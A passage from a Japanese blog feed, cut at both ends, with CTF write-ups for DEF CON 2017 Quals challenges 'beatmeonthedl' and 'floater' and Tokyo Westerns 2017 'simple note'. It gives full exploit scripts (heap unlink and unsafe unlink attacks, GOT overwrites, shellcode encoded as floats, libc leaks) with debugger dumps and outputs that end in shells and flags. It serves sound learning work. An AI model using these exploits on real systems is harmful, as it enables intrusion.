    0xdb4050:	0x0000000000000000	0x0000000000000000
    0xdb4060:	0x0000000000000000	0x0000000000000041 &lt;- chunk2
    0xdb4070:	0x0000000000db40e0	0x0000000000609b88
    0xdb4080:	0x0000000000000000	0x0000000000000000
    0xdb4090:	0x0000000000000000	0x0000000000000000
    0xdb40a0:	0x0000000000000040	0x0000000000000042 &lt;- chunk3
    0xdb40b0:	0x4141414141414141	0x4141414141414141 &lt;- buffer2
    0xdb40c0:	0x4141414141414141	0x4141414141414141
    0xdb40d0:	0x4141414141414141	0x4141414141414141
    0xdb40e0:	0x4141414141414141	0x0000000000000041 &lt;- chunk4
    0xdb40f0:	0x0000000000609940	0x0000000000db4060
    0xdb4100:	0x0000000000000000	0x0000000000000000
    0xdb4110:	0x0000000000000000	0x0000000000000000
    0xdb4120:	0x0000000000000040	0x0000000000000042 &lt;- chunk5
    0xdb4130:	0x0034726566667562	0x0000000000000000 &lt;- buffer4
    0xdb4140:	0x0000000000000000	0x0000000000000000
    0xdb4150:	0x0000000000000000	0x0000000000000000
    0xdb4160:	0x0000000000000000	0x0000000000000e51
    0xdb4170:	0x0000000000000000	0x0000000000000000
    0xdb4180:	0x0000000000000000	0x0000000000000000
    gdb-peda$ x/8gx 0x0000000000609940
    0x609940:	0x00007f6fb21795f0	0x0000000000400ab6
    0x609950:	0x0000000000400ac6	0x00007f6fb1e2a110 &lt;- puts_got
    0x609960:	0x00007f6fb1e41d10	0x0000000000400af6
    0x609970:	0x00007f6fb1e10e00	0x00007f6fb1e459c0

その後 buffer4 の開放を行ったところ, chunk4 と chunk5 の結合処理 (unlink) が走り, `puts` の GOT を chunk2 のアドレスに書き換えることができた.

    gdb-peda$ x/50gx 0x00db4000
    0xdb4000:	0x0000000000000000	0x0000000000000023
    0xdb4010:	0x0a70616e73657761	0x0000000000000000
    0xdb4020:	0x0000000000000000	0x0000000000000043 &lt;- chunk1
    0xdb4030:	0x0030726566667562	0x0000000000000000 &lt;- buffer0
    0xdb4040:	0x0000000000000000	0x0000000000000000
    0xdb4050:	0x0000000000000000	0x0000000000000000
    0xdb4060:	0x0000000000000000	0x0000000000000041 &lt;- chunk2
    0xdb4070:	0x0000000000609940	0x0000000000609b88
    0xdb4080:	0x0000000000000000	0x0000000000000000
    0xdb4090:	0x0000000000000000	0x0000000000000000
    0xdb40a0:	0x0000000000000040	0x0000000000000042 &lt;- chunk3
    0xdb40b0:	0x4141414141414141	0x4141414141414141 &lt;- buffer2
    0xdb40c0:	0x4141414141414141	0x4141414141414141
    0xdb40d0:	0x4141414141414141	0x4141414141414141
    0xdb40e0:	0x4141414141414141	0x0000000000000ed1 &lt;- chunk4
    0xdb40f0:	0x0000000000609940	0x0000000000db4060
    0xdb4100:	0x0000000000000000	0x0000000000000000
    0xdb4110:	0x0000000000000000	0x0000000000000000
    0xdb4120:	0x0000000000000040	0x0000000000000042 &lt;- chunk5 (unlinked)
    0xdb4130:	0x0034726566667562	0x0000000000000000
    0xdb4140:	0x0000000000000000	0x0000000000000000
    0xdb4150:	0x0000000000000000	0x0000000000000000
    0xdb4160:	0x0000000000000000	0x0000000000000e51
    0xdb4170:	0x0000000000000000	0x0000000000000000
    0xdb4180:	0x0000000000000000	0x0000000000000000
    gdb-peda$ x/8gx 0x0000000000609940
    0x609940:	0x00007f6fb21795f0	0x0000000000400ab6
    0x609950:	0x0000000000400ac6	0x0000000000db4060 &lt;- puts_got
    0x609960:	0x00007f6fb1e41d10	0x0000000000400af6
    0x609970:	0x00007f6fb1e10e00	0x00007f6fb1e459c0

このあとすぐにメニューを表示処理で `puts` が呼ばれるので, の開放を行う前に buffer0 を通して shellcode 書き込んでおけばよさそう. ただし, unlink attack 後は chunk2 の `fd` や `bk` が書き換わってしまうので, メインの shellcode は buffer0 に書き込み, chunk2 の先頭 (glibc malloc でいう `prev_size` に相当する部分) に `jmp -0x30` を置いて shellcode の先頭に飛ぶようにした.

実際に作成したスクリプトと実行結果は次の通り.  
攻撃では使わなかったが, 確保したバッファをリストアップする際に `printf` の `%s` を使っているのを利用して chunk4 の `bk` のリークなども行なっている.

```python
#!/usr/bin/env python2

# DEF CON 2017 Quals : beatmeonthedl

from pwn import *
import sys

username = &apos;mcfly&apos;
password = &apos;awesnap&apos;

buffer_size = 0x38

# [0x0040123c]&gt; f~reloc.puts
# 0x00609958 8 reloc.puts_88
addr_puts_got = 0x00609958

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;)

if &apos;remote&apos; in sys.argv:
    r = remote(&apos;beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me&apos;, 6969)
else:
    r = process(&apos;./beatmeonthedl&apos;)

# login
r.recvuntil(&apos;Enter username: &apos;)
r.sendline(username)
r.recvuntil(&apos;Enter Pass: &apos;)
r.sendline(password)
r.recvuntil(&apos;I) Request Exploit.&apos;)
log.success(&apos;login successful!&apos;)

def choose_action(n):
    r.recvuntil(&apos;) Go Away.\n| &apos;)
    r.sendline(str(n))

def add_request(text):
    choose_action(1)
    r.recvuntil(&apos;Request text &gt; &apos;)
    r.send(text)

def delete_request(n):
    choose_action(3)
    r.recvuntil(&apos;choice: &apos;)
    r.sendline(str(n))

def update_request(n, text):
    choose_action(4)
    r.recvuntil(&apos;choice: &apos;)
    r.sendline(str(n))
    r.recvuntil(&apos;data: &apos;)
    r.send(text)

def go_away():
    choose_action(5)

log.info(&apos;alloc 0x38 bytes buffer x5&apos;)
for i in range(0, 5):
    add_request(&apos;buffer{}&apos;.format(i))

log.info(&apos;free buffer3 and buffer1&apos;)
for i in [3, 1]:
    delete_request(i)

log.info(&apos;overwrite chunk4 via buffer2&apos;)
buf = &apos;&apos;
buf += &apos;A&apos; * buffer_size    # buffer2
buf += &apos;A&apos; * 8              # chunk4&apos;s size
buf += &apos;A&apos; * 8              # chunk4&apos;s fd
update_request(2, buf)

log.info(&apos;leak chunk4\&apos;s bk&apos;)
choose_action(2)
r.recvuntil(buf)
leak = r.recvuntil(&apos;\n&apos;)[:-1]
addr_chunk2    = u64(leak + &apos;\x00&apos; * (8 - len(leak)))
addr_heap_base = addr_chunk2 - 0x60
log.success(&apos;addr_chunk2:    0x{:x}&apos;.format(addr_chunk2))
log.success(&apos;addr_heap_base: 0x{:x}&apos;.format(addr_heap_base))

log.info(&apos;write shellcode to buffer0&apos;)
buf = &apos;&apos;
buf += asm(shellcraft.sh())
buf += &apos;\x90&apos; * (buffer_size - 8 - len(buf))    # buffer0
buf += &apos;\xeb\xce&apos;       # $ rasm2 -a x86 -b 64 &apos;jmp -0x30&apos;
buf += &apos;\x90&apos; * (0x80 - len(buf))
update_request(0, buf)

log.info(&apos;overwrite chunk4 via buffer2&apos;)
buf = &apos;&apos;
buf += &apos;A&apos; * buffer_size
buf += p64(0x41)                    # size
buf += p64(addr_puts_got - 0x18)    # fd
update_request(2, buf)

log.info(&apos;free buffer4&apos;)
delete_request(4)

log.info(&apos;trigger shellcode&apos;)

r.interactive()
```

    $ ./exploit.py remote
    [+] Opening connection to beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me on port 6969: Done
    [+] login successful!
    [*] alloc 0x38 bytes buffer x5
    [*] free buffer3 and buffer1
    [*] overwrite chunk4 via buffer2
    [*] leak chunk4&apos;s bk
    [+] addr_chunk2:    0x17e6060
    [+] addr_heap_base: 0x17e6000
    [*] write shellcode to buffer0
    [*] overwrite chunk4 via buffer2
    [*] free buffer4
    [*] trigger shellcode
    [*] Switching to interactive mode
    $ ls
    beatmeonthedl
    flag
    $ cat flag
    The flag is: 3asy p33zy h3ap hacking!!
    $ 
    [*] Closed connection to beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me port 6969

## floater

x86-64 の ELF.

    $ file floater
    floater: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=303c68e5ee9256abcf9e3d1297eaf1e48e2e72fe, stripped, with debug_info

    $ checksec --file floater 
    [*] &apos;/tmp/floater&apos;
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled

プログラムの主な処理を調べていくと次のような感じだった. いわゆるシステムコールが制限された環境での shellcode 問題なのがわかるが, shellcode を流し込む方法がちょっと特殊.

1. `mmap` で読み書き可な領域を確保
2. 25回入力を読み込み, それぞれある処理 (後述) をしてから確保した領域に書き込む
3. 確保した領域を `mprotect` で書き込み不可/実行可にする
4. seccomp で `open`, `read`, `write`, `close`, `exit` 以外の システムコールを無効にする
5. 確保した領域を `call` する

その25回入力を読み込んでいる部分がこんな感じ.  
`read` で読み込んだ文字列を `strtof` で `float` に変換し, その値を `sub.pow_6f0` で処理した結果 (`xmm0`, 4つの `float` か 2つの `double` が入る 128bits の SSE レジスタ) を確保した領域に `movss` (**mov**e **s**calar **s**ingle-precision floating-point value) で書き込んでいるのがわかる.

    |       .-&gt; 0x000014f8      83bd6cffffff.  cmp dword [rbp - counter], 0x32 ; [0x32:4]=0x400000 ; &apos;2&apos;
    |      ,==&lt; 0x000014ff      0f8d57000000   jge 0x155c
    |      ||   0x00001505      31ff           xor edi, edi
    |      ||   0x00001507      ba64000000     mov edx, 0x64               ; &apos;d&apos;
    |      ||   0x0000150c      488db570ffff.  lea rsi, qword [rbp - local_90h]
    |      ||   0x00001513      e8d8080000     call sub.read_df0          ; ssize_t read(int fildes, void *buf, size_t nbyte)
    |      ||   0x00001518      31d2           xor edx, edx
    |      ||   0x0000151a      89d6           mov esi, edx
    |      ||   0x0000151c      488dbd70ffff.  lea rdi, qword [rbp - local_90h]
    |      ||   0x00001523      898534ffffff   mov dword [rbp - local_cch], eax
    |      ||   0x00001529      e8c2fbffff     call sym.imp.strtof         ; xmm0 &lt;- result; float strtof(const char *str, char**endptr)
    |      ||   0x0000152e      bf03000000     mov edi, 3
    |      ||   0x00001533      e8b8010000     call sub.pow_6f0
    |      ||   0x00001538      4863b56cffff.  movsxd rsi, dword [rbp - counter]
    |      ||   0x0000153f      488b4de0       mov rcx, qword [rbp - mmaped_buf]
    |      ||   0x00001543      f30f1104b1     movss dword [rcx + rsi*4], xmm0
    |      ||   0x00001548      8b856cffffff   mov eax, dword [rbp - counter]
    |      ||   0x0000154e      83c002         add eax, 2
    |      ||   0x00001551      89856cffffff   mov dword [rbp - counter], eax
    |      |`=&lt; 0x00001557      e99cffffff     jmp 0x14f8
    |      |       ; JMP XREF from 0x000014ff (main)
    |      `--&gt; 0x0000155c      b8c8000000     mov eax, 0xc8

そして`sub.pow_6f0` の処理は, 入力した値 \* 1000 + 0.5 を [`floor`](http://en.cppreference.com/w/c/numeric/math/floor) してから 1000 で割った値を `float` で返すというものだった.

まとめると,

1. **shellcode は↑の処理を通しても変化しない25個の `float` 値で送る必要がある**
    - 小数点以下の数を持っていなければいい?
2. **shellcode の 4bytes 毎に 0x00000000 が入ることを考慮する必要がある**
    - 送られた `float` 値 (32bits) は 64bits の領域に順に書き込まれるため

いろいろ試したところ, shellcode を 3bytesの命令 + 0x68 (`push imm32`) で構成することで上手く行った.  
例えば `mov rdi, rax` は 0x48 0x89 0xc7, `push 0` は 0x68 0x00 0x00 0x00 0x00 となり, little-endian に直したときの下位 32bits の値 0x68c78948 を `float` として解釈してみると 7.538266577407427e+24 になるという感じである.

    $ python
    Python 2.7.13 (default, Feb 11 2017, 12:22:40) 
    [GCC 6.3.1 20170109] on linux2
    Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
    &gt;&gt;&gt; import struct
    &gt;&gt;&gt; struct.unpack(&apos;!f&apos;, &apos;\x68\xc7\x89\x48&apos;)[0]
    7.538266577407427e+24

実際に作成したスクリプトと実行結果は次の通り.  
使えるシステムコールが限定されているので, Flag を `open` -&gt; `read` -&gt; `write` する shellcode を書いた. この縛りでファイル名 `&quot;flag&quot;` を生成することは厳しかったので, 最初に `read` してこちらから送り込むことで対処した. また, `mov rdi, 数値` のような命令は 3bytes に収まらないので, `xor rax, rax ; lea rdi, [rax+数値]` のような命令で何とかした.

```python
#!/usr/bin/env python2

# DEF CON 2017 Quals : floater

from pwn import *
import struct
import sys

context(os=&apos;linux&apos;, arch=&apos;amd64&apos;)

if &apos;remote&apos; in sys.argv:
    r = remote(&apos;floater_f128edcd6c7ecd2ceac15235749c1565.quals.shallweplayaga.me&apos;, 754)
else:
    r = process(&apos;./floater-patched&apos;)

shellcode = [
    # read(0, stack, 0x80)
    &apos;\x48\x89\xe6&apos;,   # mov rsi, rsp
    &apos;\x48\x31\xc0&apos;,   # xor rax, rax
    &apos;\x48\x89\xc7&apos;,   # mov rdi, rax
    &apos;\x8d\x50\x10&apos;,   # lea rdx, [rax+10]
    &apos;\x48\x01\xd2&apos;,   # add rdx, rdx (rdx=0x20)
    &apos;\x48\x01\xd2&apos;,   # add rdx, rdx (rdx=0x40)
    &apos;\x48\x01\xd2&apos;,   # add rdx, rdx (rdx=0x80)
    &apos;\x0f\x05\x90&apos;,   # syscall ; nop
    # save big number
    &apos;\x49\x89\xd0&apos;,   # mov r8, rdx
    # open(stack, 0, 0)
    &apos;\x48\x89\xf7&apos;,   # mov rdi, rsi
    &apos;\x48\x31\xf6&apos;,   # xor rsi, rsi
    &apos;\x48\x31\xd2&apos;,   # xor rdx, rdx
    &apos;\x8d\x42\x02&apos;,   # lea rax, [rdx+2]
    &apos;\x0f\x05\x90&apos;,   # syscall ; nop
    # read(fd, stack, 0x80)
    &apos;\x48\x89\xc7&apos;,   # mov rdi, rax
    &apos;\x48\x89\xe6&apos;,   # mov rsi, rsp
    &apos;\x4c\x89\xc2&apos;,   # mov rdx, r8
    &apos;\x48\x31\xc0&apos;,   # xor rax, rax
    &apos;\x0f\x05\x90&apos;,   # syscall ; nop
    # write(1, rsp, 0x80)
    &apos;\x4c\x89\xc2&apos;,   # mov rdx, r8
    &apos;\x48\x31\xc0&apos;,   # xor rax, rax
    &apos;\x48\xff\xc0&apos;,   # inc rax
    &apos;\x48\x89\xc7&apos;,   # mov rdi, rax
    &apos;\x0f\x05\x90&apos;,   # syscall ; nop
]

log.info(&apos;send shellcode&apos;)

for s in shellcode:
    f = struct.unpack(&apos;!f&apos;, (s + &apos;\x68&apos;)[::-1])[0]
    s = &apos;%.64lg&apos; % f
    print s
    r.sendline(s)

for i in range(0, 25 - len(shellcode)):
    r.sendline(&apos;0&apos;)

pause(1)

r.clean()

r.sendline(&apos;flag&apos;.ljust(0x7f, &apos;\x00&apos;))

r.interactive()
```

    $ ./exploit.py remote
    [+] Opening connection to floater_f128edcd6c7ecd2ceac15235749c1565.quals.shallweplayaga.me on port 754: Done
    [*] send shellcode
    8709413465159098708262912
    7260827546538835038961664
    7538266577407426695266304
    2726026692719540090961920
    7933764770347759481913344
    7933764770347759481913344
    7933764770347759481913344
    5440912704940064219594752
    7878277540634793454075904
    9351655306829370457325568
    9300889867138521771278336
    7940848320072063949733888
    2460541152010712224104448
    5440912704940064219594752
    7538266577407426695266304
    8709413465159098708262912
    7349374223935650100412416
    7260827546538835038961664
    5440912704940064219594752
    7349374223935650100412416
    7260827546538835038961664
    7291227780772308380024832
    7538266577407426695266304
    5440912704940064219594752
    [+] Waiting: Done
    [*] Switching to interactive mode
    The flag is: l00ks_l1k3_w3_g0t_0ur53lv35_4_fl04t3r
    \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00flag\x00\x00\x00\x00[*] Got EOF while reading in interactive
    $ 
    [*] Closed connection to floater_f128edcd6c7ecd2ceac15235749c1565.quals.shallweplayaga.me port 754

よくわかっていなかった浮動小数点値の扱い方も知ることができてよかった.

## 参考リンク

- [原書で学ぶ64bitアセンブラ入門（6） - わらばんし仄聞記](http://warabanshi.hatenablog.com/entry/2014/05/21/001419)
- [Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 2 (2A, 2B, 2C &amp; 2D): Instruction Set Reference, A-Z](http://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.html)
- [Linux x86用のシェルコードを書いてみる - ももいろテクノロジー](http://inaz2.hatenablog.com/entry/2014/03/13/013056)
- [python - Convert hex to float - Stack Overflow](http://stackoverflow.com/a/1592362)</content:encoded></item><item><title>Tokyo Westerns CTF 3rd 2017: simple note</title><link>https://myon.info/blog/2017/09/04/twctf-2017-writeups/</link><guid isPermaLink="true">https://myon.info/blog/2017/09/04/twctf-2017-writeups/</guid><pubDate>Mon, 04 Sep 2017 00:00:00 GMT</pubDate><content:encoded>[Tokyo Westerns CTF 3rd 2017](https://ctftime.org/event/474) に1人チーム [poepoe](https://ctftime.org/team/32588) で参加してました。

- Welcome!! (Misc 11)
- [Just do it! (Pwn 23)](https://gist.github.com/db8dd0373c0a411333423d75ad53d7e7)
- [Palindromes Pairs - Coding Phase - (PPC 24)](https://gist.github.com/b9e72a87ee5a1e4b1cb89ce256019470)
- [Rev Rev Rev (Reverse 25)](https://gist.github.com/4930863a73f04c593771043ea966f27e)
- simple note (Pwn 86)

の 169 pts で 161 位。

simple note 解けたのがすごく嬉しかった。  
とはいえ時間掛けすぎているので、もう少しサクッと解けるようにしていきたいところ。

&lt;!--more--&gt;

## simple note &lt;small&gt;(Pwn 86)&lt;/small&gt;

x86-64 の ELF。libc 配布有り。

    $ file simple_note-b5bdfa5fdb0fb070867ac0298a0b2a850f22e712513038d92c24c40664fac56b 
    simple_note-b5bdfa5fdb0fb070867ac0298a0b2a850f22e712513038d92c24c40664fac56b: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9976eff277e9b1fef5ebe60277ea7eb90a17625e, not stripped

    $ checksec -f simple_note-b5bdfa5fdb0fb070867ac0298a0b2a850f22e712513038d92c24c40664fac56b
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	Fortified Fortifiable  FILE
    Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes	0		2simple_note-b5bdfa5fdb0fb070867ac0298a0b2a850f22e712513038d92c24c40664fac56b

タイトルの通り、よくあるノート管理する系のやつ。

    $ ./simple_note-b5bdfa5fdb0fb070867ac0298a0b2a850f22e712513038d92c24c40664fac56b 
    ======================
    1. add a new note
    2. delete the note
    3. show the note
    4. edit the note
    5. exit
    ======================
    Your choice: 

主な機能はこんな感じ。

1. add a new note
    - 指定されたサイズ (`size &gt; 0x7f`) の領域を`malloc`で確保する
    - 領域のアドレスを配列`list`の空いているところに格納する
    - 確保した領域に`read`で指定されたサイズ分読み込む
2. delete the note
    - 指定された領域を`free`する
    - 対応する`list`の要素を`NULL`にする
3. show the note
    - 指定された領域を**`puts`で表示する**
4. edit the note
    - 指定された領域に**`strlen`の返した文字数分`read`で上書きする**

&quot;4. edit the note&quot; で`strlen`した文字数も読めるので、バッファを全て埋めておけば**隣のチャンクの`size`が書き換え可能**になる。これを利用し、`free`済みチャンクの`size`書き換え ➡ unsafe unlink attack ➡ GOT overwrite という感じで解いた。

### アドレスのリーク

まず4つの領域を確保し (buffer 0~3、そのチャンクを chunk 0~3 とする)、buffer 2、buffer 0 の順で解放するとこんな感じになる。

```
 main_arena   +-----------------------------------------+
|          |  |  +--------------------+                 |
|    top   |&lt;-+  |                    |                 |
|          |  |  |  +-chunk 0---+     |  +-chunk 2---+  |
|  bins[0] |-----|-&gt;| prev_size |&lt;-+  +-&gt;| prev_size |  |
|  bins[1] |-----+  | size      |  |  |  | size      |  |
|          |  |     | fd        |-----+  | fd        |--+
|          |  +-----| bk        |  +-----| bk        |
|          |        +-----------+        +-----------+
```

この状態で同じサイズの領域を2つ`malloc`すると、chunk 2、chunk 0 の順で返される。ここで、`malloc`が返すアドレスはチャンクの`fd`に相当し、また`fd`や`bk`の値は`malloc`が返すときにクリアされるわけではないので、リークさせることが可能である。最終的な攻撃スクリプトでは、新たに確保する領域に 8 bytes の文字列を書き込み、続く`bk`の値を読むことで heap および libc のアドレスを求めた。

`main_arena`のシンボルはエクスポートされていないので、配布された libc からオフセットを求めるのは少し苦戦した。今回は [`__libc_mallinfo`](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=d20d5955db4d814b73a5b1829d1bc7874c94024d;hb=ab30899d880f9741a409cbc0d7a28399bdac21bf#l4686) のように`main_arena`のアドレスを参照している関数のディスアセンブル結果を見ることで求めたけど、もっといい感じの方法とかあったりするのだろうか...

    $ r2 -A libc.so.6-4cd1a422a9aafcdcb1931ac8c47336384554727f57a02c59806053a4693f1c71
    [0x00020950]&gt; s sym.__libc_mallinfo 
    [0x00086e70]&gt; pdf
                ;-- mallinfo:
    ┌ (fcn) sym.__libc_mallinfo 279
    │   sym.__libc_mallinfo ();
    │           ; var int local_8h @ rsp+0x8
    │           ; var int local_10h @ rsp+0x10
    │           ; var int local_18h @ rsp+0x18
    │           ; var int local_20h @ rsp+0x20
    │           0x00086e70      4156           push r14
    │           0x00086e72      4155           push r13
    │           0x00086e74      4989fe         mov r14, rdi
    │           0x00086e77      4154           push r12
    │           0x00086e79      55             push rbp
    │           0x00086e7a      53             push rbx
    │           0x00086e7b      4883ec30       sub rsp, 0x30               ; &apos;0&apos;
    │           0x00086e7f      8b05bfd23300   mov eax, dword [0x003c4144] ; [0x3c4144:4]=-1
    │           0x00086e85      85c0           test eax, eax
    │       ┌─&lt; 0x00086e87      0f88f3000000   js 0x86f80
    │       │      ; JMP XREF from 0x00086f85 (sym.__libc_mallinfo)
    │      ┌──&gt; 0x00086e8d      488d2d8cdc33.  lea rbp, qword 0x003c4b20    ; &lt;- main_arena!!
    │      |│   0x00086e94      48c704240000.  mov qword [rsp], 0
    │      |│   0x00086e9c      48c744240800.  mov qword [local_8h], 0
    │      |│   0x00086ea5      48c744241000.  mov qword [local_10h], 0
    ...

### unsafe unlink attack

glibc は、よく知られた unlink attack を[こんな感じのチェック](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=d20d5955db4d814b73a5b1829d1bc7874c94024d;hb=ab30899d880f9741a409cbc0d7a28399bdac21bf#l1414)をすることで防いでいる。

```c
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P-&gt;fd;								      \
    BK = P-&gt;bk;								      \
    if (__builtin_expect (FD-&gt;bk != P || BK-&gt;fd != P, 0))		      \
      malloc_printerr (check_action, &quot;corrupted double-linked list&quot;, P, AV);  \
...
```

しかし、ある解放済みチャンク`P`の`fd`、`bk`が書き換え可能であり、かつアドレスが推測可能な領域`X`が`P`を指しているとき、

- `P-&gt;fd = X - 0x18`
- `P-&gt;bk = X - 0x10`

とすることで、このチェックを回避できる[^1]。これを unsafe unlink attack というらしい。

[^1]: 値は x86-64 の場合

さて、今回のプログラムは確保した領域を配列`list`で管理している。なんとかして`list`を書き換えることができれば、任意のアドレスの書き換えが可能になる。  
そこでまず、`list`の要素が**チャンクの先頭を指す**ような状況を作り出す。3つの領域 (0x88, 0xf8, 0x88 bytes、buffer 4~6 とする) を確保し、buffer 5 を解放しておく。

![heap1](/blog/2017/09/04/twctf-2017-writeups/1.svg)

この状態で buffer 4 から 0x88 + 1 bytes 書き込み、chunk 5 の`size`を 0x101 から 0x1f1 に書き換える。

![heap2](/blog/2017/09/04/twctf-2017-writeups/2.svg)

そのあと2つの領域 (0x108, 0x88 bytes、buffer 5, 7 とする) を確保すると、`size`を偽装したチャンクが切り分けられ、こんな感じになる。このとき、**buffer 6 を指している`list[6]`が chunk 7 の先頭も指すことになる**。

![heap3](/blog/2017/09/04/twctf-2017-writeups/3.svg)

こうしてできた buffer 5 と buffer 7 を使って、unsafe unlink attack を行う。今回のプログラムでは解放済みの領域に書き込むことは難しいので、chunk 7 の`fd`、`bk`をセットし、さらに後ろのチャンクの`PREV_INUSE`ビットをクリアして解放されたことにする。

![heap3](/blog/2017/09/04/twctf-2017-writeups/4.svg)

このあと buffer 5 の解放をすると、`list[6]`が`list[3]`を指すようになる。

この状態から buffer 6 に書き込むつもりで`list[3]`を`puts`の GOT に書き換え、続けて buffer 3 に書き込むつもりで`puts`の GOT を one-gadget RCE に向けることでシェルを取ることができた。

### exploit!

最終的なスクリプトと実行結果は次の通り。

問題サーバの libc (Ubuntu 16.04) ではチャンクの`size`と隣のチャンクの`prev_size`が一致するかのチェックをしていて刺さらなかったので、ダミーの`prev_size`を書き込む処理も追加している。(この関係で一部のインデックスが変わっている)  
僕には glibc のソースから該当する部分を見つけられなかったのだけど、どこにあるのだろう?

```haskell
#!/usr/bin/env stack
-- stack --stack-yaml ./stack.yaml runghc --package pwn

{-# LANGUAGE OverloadedStrings #-}

import           Control.Monad
import           Data.Bits
import qualified Data.ByteString.Char8 as BS
import           Data.Maybe
import           Data.Monoid           ((&lt;&gt;))
import           Numeric               (showHex)

-- https://github.com/Tosainu/pwn.hs
import           Pwn

showByteString :: (Show a) =&gt; a -&gt; BS.ByteString
showByteString = BS.pack . show

main :: IO ()
main = do
  -- r &lt;- remote &quot;192.168.122.10&quot; 4000
  -- let libc_main_arena&apos; = 0x3a5620
  --     libc_one_gadget&apos; = 0x41374

  -- r &lt;- remote &quot;172.17.0.2&quot; 4000
  r &lt;- remote &quot;pwn1.chal.ctf.westerns.tokyo&quot; 16317
  let libc_main_arena&apos; = 0x003c4b20
      libc_one_gadget&apos; = 0x4526a

  let list      = 0x006020c0

      puts_got  = 0x00602020

      addNote size str = do
        recvuntil r &quot;Your choice: \n&quot;
        sendline r &quot;1&quot;
        recvuntil r &quot;Please input the size: \n&quot;
        sendline r $ showByteString size
        recvuntil r &quot;Please input your note: \n&quot;
        send r str

      deleteNote idx = do
        recvuntil r &quot;Your choice: \n&quot;
        sendline r &quot;2&quot;
        recvuntil r &quot;Please input the index: \n&quot;
        sendline r $ showByteString idx

      showNote idx = do
        recvuntil r &quot;Your choice: \n&quot;
        sendline r &quot;3&quot;
        recvuntil r &quot;Please input the index: \n&quot;
        sendline r $ showByteString idx
        recvuntil r &quot;Note: \n&quot;
        buf &lt;- recvuntil r &quot;\n====&quot;
        return $ BS.take (BS.length buf - BS.length &quot;\n====&quot;) buf

      editNote idx str = do
        recvuntil r &quot;Your choice: \n&quot;
        sendline r &quot;4&quot;
        recvuntil r &quot;Please input the index: \n&quot;
        sendline r $ showByteString idx
        recvuntil r &quot;Please input your note: \n&quot;
        send r str

      exit = do
        recvuntil r &quot;Your choice: \n&quot;
        sendline r &quot;5&quot;

  info &quot;allocate 0x88 bytes buffer x4 (buffer 0..3)&quot;
  replicateM_ 4 $ addNote 0x88 $ BS.replicate 0x88 &apos;A&apos;

  info &quot;free buffer 2 and buffer 0&quot;
  mapM_ deleteNote [2, 0]

  info &quot;allocate 0x88 bytes buffer x2 (buffer 0, buffer 2)&quot;
  addNote 0x88 $ BS.replicate 9 &apos;a&apos;
  addNote 0x88 $ BS.replicate 8 &apos;b&apos;

  info &quot;leak informations&quot;
  leak1 &lt;- BS.drop 8 &lt;$&gt; showNote 0
  leak2 &lt;- BS.drop 8 &lt;$&gt; showNote 2
  let Just heap_base&apos;     = u64 $ leak1 &lt;&gt; BS.replicate (8 - BS.length leak1) &apos;\x00&apos;
      Just main_arena_top = u64 $ leak2 &lt;&gt; BS.replicate (8 - BS.length leak2) &apos;\x00&apos;

      heap_base   = heap_base&apos; .&amp;. complement 0xff
      main_arena  = main_arena_top - 0x58
      libc_base   = main_arena - libc_main_arena&apos;

  success $ &quot;  heap_base:  0x&quot; &lt;&gt; showHex heap_base &quot;&quot;
  success $ &quot;  main_arena: 0x&quot; &lt;&gt; showHex main_arena &quot;&quot;
  success $ &quot;  libc_base:  0x&quot; &lt;&gt; showHex libc_base &quot;&quot;

  -------------------------------------------------------------------

  info &quot;allocate [0x88, 0xf8, 0x88, 0x88] bytes buffer (buffer 4..7)&quot;
  forM_ [0x88, 0xf8, 0x88, 0x88] $ \size -&gt; addNote size $ BS.replicate size &apos;A&apos;

  info &quot;free buffer 5&quot;
  deleteNote 5

  info &quot;overwrite chunk 5&apos;s size&quot;
  editNote 4 $ BS.replicate 0x88 &apos;c&apos; &lt;&gt; &quot;\xf1&quot;

  info &quot;write fake prev_size via buffer 7&quot;
  let buf = BS.concat $ catMaybes
            [ Just $ BS.replicate 0x50 &apos;d&apos;
            , p64 0x1f0
            ]
  editNote 7 buf

  info &quot;allocate [0x108, 0x88] bytes buffer (buffer 5, buffer 8)&quot;
  forM_ [0x108, 0x88] $ \size -&gt; addNote size $ BS.replicate size &apos;A&apos;

  info &quot;set chunk 8&apos;s fd and bk, clear prev_inuse flag&quot;
  let buf = BS.concat $ catMaybes
            [ p64 $ list + 0x18   -- fd
            , p64 $ list + 0x20   -- bk
            , Just $ BS.replicate 0x70 &apos;d&apos;
            , p64 0x90            -- prev_size
            , Just &quot;\x50&quot;         -- size
            ]
  editNote 8 buf

  info &quot;free buffer 5 (unsafe unlink attack!)&quot;
  deleteNote 5

  -- 1: x/16xg 0x006020c0
  -- 0x6020c0 &lt;list&gt;:        0x0000000000b83130      0x0000000000b830a0
  -- 0x6020d0 &lt;list+16&gt;:     0x0000000000b83010      0x0000000000b831c0
  -- 0x6020e0 &lt;list+32&gt;:     0x0000000000b83250      0x0000000000000000
